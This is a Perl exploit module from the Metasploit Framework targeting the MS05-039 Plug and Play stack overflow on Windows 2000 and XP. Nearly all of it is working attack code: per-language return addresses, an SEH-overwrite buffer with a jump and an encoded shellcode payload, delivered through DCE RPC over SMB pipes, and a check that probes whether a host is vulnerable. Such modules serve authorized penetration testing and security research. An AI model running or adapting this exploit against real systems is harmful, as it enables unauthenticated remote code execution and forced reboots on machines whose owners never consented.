
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::ms05_039_pnp;
use base "Msf::Exploit";
use strict;

use Pex::Text;
use Pex::NDR;
use Pex::DCERPC;
use Pex::x86;

my $advanced = {
	'FragSize'    => [ 256, 'The application fragment size to use with DCE RPC' ],
	'BindEvasion' => [   0, 'IDS Evasion of the Bind request' ],
	'DirectSMB'   =>
	  [
		0, 'Use the direct SMB protocol (445/tcp) instead of SMB over NetBIOS'
	  ],
  };

my $info = {
	'Name'    => 'Microsoft PnP MS05-039 Overflow',
	'Version' => '$Revision: 1.12 $',
	'Authors' => [
		'H D Moore <hdm [at] metasploit.com>',
		'Brian Caswell <bmc [at] shmoo.com>'
	  ],

	'Arch' => ['x86'],
	'OS'   => [ 'win32', 'win2000' ],
	'Priv' => 1,

	'AutoOpts' => { 'EXITFUNC' => 'thread' },

	'UserOpts' =>
	  {
		'RHOST'  => [1, 'ADDR', 'The target address'],
		'RPORT'  => [1, 'PORT', 'The target port', 139],

		# Optional pipe name
		'SMBPIPE' => [ 1, 'DATA', 'Pipe name: browser, srvsvc, wkssvc', 'browser' ],

		# SMB connection options
		'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ],
		'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username', '' ],
		'SMBDOM'  => [ 0, 'DATA', 'The domain for specified SMB username', '' ],
	  },

	'Payload' =>
	  {
		'Space'    => 1000,
		'BadChars' => '',
		'Keys'     => ['-ws2ord'],    # no winsock in services.exe
		'MaxNops'  => 0,
		'MinNops'  => 0,
	  },

	'DefaultTarget' => -1,

	'Targets' => [
		[ 'Windows 2000 SP0-SP4 English', 0x767a38f6, ], # umpnpmgr.dll (metasploit)
		[ 'Windows 2000 SP4 English/French/German/Dutch', 0x01013C79, ], # [Pita] [Houmous] <pita@mail.com>
		[ 'Windows 2000 SP4 French',      0x767438f6, ], # ExaProbe <fmourron@exaprobe.com>
		[ 'Windows 2000 SP4 Spanish',     0x767738f6, ], # ?
		[ 'Windows 2000 SP0-SP4 German',  0x767338f6, ], # Michael Thumann <mthumann@ernw.de>
		[ 'Windows 2000 SP0-SP4 Italian', 0x7677366f, ], # acaro <acaro@jervus.it>
		[ 'Windows XP SP1',               0x758c572a, 'ntsvcs',  0x10 ], # xP SP1 target by <anonymous>
	  ],

	'Description' => Pex::Text::Freeform(
		qq{
        This module exploits a stack overflow in the Windows
	Plug and Play service. This vulnerability can be exploited on Windows
	2000 without a valid user account. Since the PnP service runs inside
	the service.exe process, a failed exploit attempt will cause the system
	to automatically reboot.
}
	  ),

	'Refs' => [
		[ 'OSVDB', '18605' ],
		[ 'CVE',   '2005-1983' ],
		[ 'BID',   '14513' ],
		[ 'MSB',   'MS05-039' ],
		[ 'URL',   'http://www.hsc.fr/ressources/presentations/null_sessions/' ],
		[ 'MIL',   '87' ],
	  ],

	'Keys' => ['pnp'],

	'DisclosureDate' => 'Aug 9 2005',
  };

sub new {
	my $class = shift;
	my $self  =
	  $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ );
	return ($self);
}

sub Check {
	my $self        = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $fragSize    = $self->GetVar('FragSize') || 256;

	if ( $self->ProbePNP( $target_host, $target_port, $fragSize, 'A' ) ) {
		$self->PrintLine("[*] This system appears to be vulnerable");
		return $self->CheckCode('Appears');
	}

	$self->PrintLine("[*] This system does not appear to be vulnerable");
	return $self->CheckCode('Unknown');
}

sub Exploit {
	my $self        = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $fragSize    = $self->GetVar('FragSize') || 256;
	my $target      = $self->Targets->[ $self->GetVar('TARGET') ];
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;

	my $return  = pack( 'V', $target->[1] );
	my $request =

	  # Get to seh next ptr
	  Pex::Text::RandomData( ($target->[3] ? $target->[3] : 0x38) ) .

	  # SEH Next / jmp to shellcode
	  Pex::x86::JmpShort('$+32') . Pex::Text::RandomData(2) .

	  # SEH Handler
	  $return . Pex::Text::RandomData(20) .

	  # ResourceName - cause access violation on RtlInitUnicodeString
	  Pex::Text::RandomData(3) . "\xff" .

	  # shellcode!
	  $shellcode;

	$self->ProbePNP( $target_host, $target_port, $fragSize, $request );
	return;
}

sub ProbePNP {
	my $self        = shift;
	my $target_host = shift;
	my $target_port = shift;
	my $fragSize    = shift;
	my $request     = shift;
	my $target_name = '*SMBSERVER';
	my $target      = $self->Targets->[ $self->GetVar('TARGET') ];

	my $pipe    =  '\\' . ($target->[2] ? $target->[2] : $self->GetVar('SMBPIPE'));
	my $uuid    = '8d9f4e40-a03d-11ce-8f69-08003e30051b';
	my $version = '1.0';
	my $handle  = Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host, $pipe );

	my $dce = Pex::DCERPC->new(
		'handle'      => $handle,
		'username'    => $self->GetVar('SMBUSER'),
		'password'    => $self->GetVar('SMBPASS'),
		'domain'      => $self->GetVar('SMBDOM'),
		'fragsize'    => $self->GetVar('FragSize'),
		'bindevasion' => $self->GetVar('BindEvasion'),
		'directsmb'   => $self->GetVar('DirectSMB'),
	  );

	if ( !$dce ) {
		$self->PrintLine("[*] Could not bind to $handle");
		return;
	}

    my $smb = $dce->{'_handles'}{$handle}{'connection'};	    
    if ( $smb->PeerNativeOS eq 'Windows 5.0' ) {
        $self->PrintLine("[*] Detected a Windows 2000 target");
    }
    elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) {
        $self->PrintLine("[*] Detected a Windows XP target");
    }
    else {
        $self->PrintLine("[*] No target is available for ".$smb->PeerNativeOS);
    }
    	
	# CS_DES
	# CSD_SignatureLength, CSD_LegacyDataOffset, CSD_LegacyDataSize, CSD_Flags
	# GUID and then the dataz

	my $cs_des = Pex::NDR::Long( 0, 0, length($request), 0 ). Pex::Text::RandomData(16). $request;

	# PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);
	my $stub =

	  # ResourceName:
	  # our device name, good enough to pass IsLegalDeviceId and IsRootDeviceID
	  Pex::NDR::UnicodeConformantVaryingString('a\\b\\c') .

	  # ResourceID:
	  # 0xffff - ResType_ClassSpecific
	  Pex::NDR::Long(0xffff) .

	  # ResourceData
	  # our CS_DES structure
	  Pex::NDR::UniConformantArray($cs_des) .

	  # ResourceLen (I'm guessing the server double checks this?)
	  Pex::NDR::Long( length($cs_des) ) .

	  # OutputLen
	  # Need to be atleast 4...
	  Pex::NDR::Long(4) .

	  # Flags
	  # unused? something said it must be zero?...
	  Pex::NDR::Long(0);

	$self->PrintLine("[*] Sending request...");
	my @response = $dce->request( $handle, 0x36, $stub );
	if ( $dce->{'response'}->{'StubData'} eq "\x04\x00\x00\x00\x00\x00\x00\x00\x1A\x00\x00\x00" ) {
		return 1;
	}
	else {
		foreach my $line (@response) {
			$self->PrintLine( '[*] ' . $line );
		}
	}
}

1;
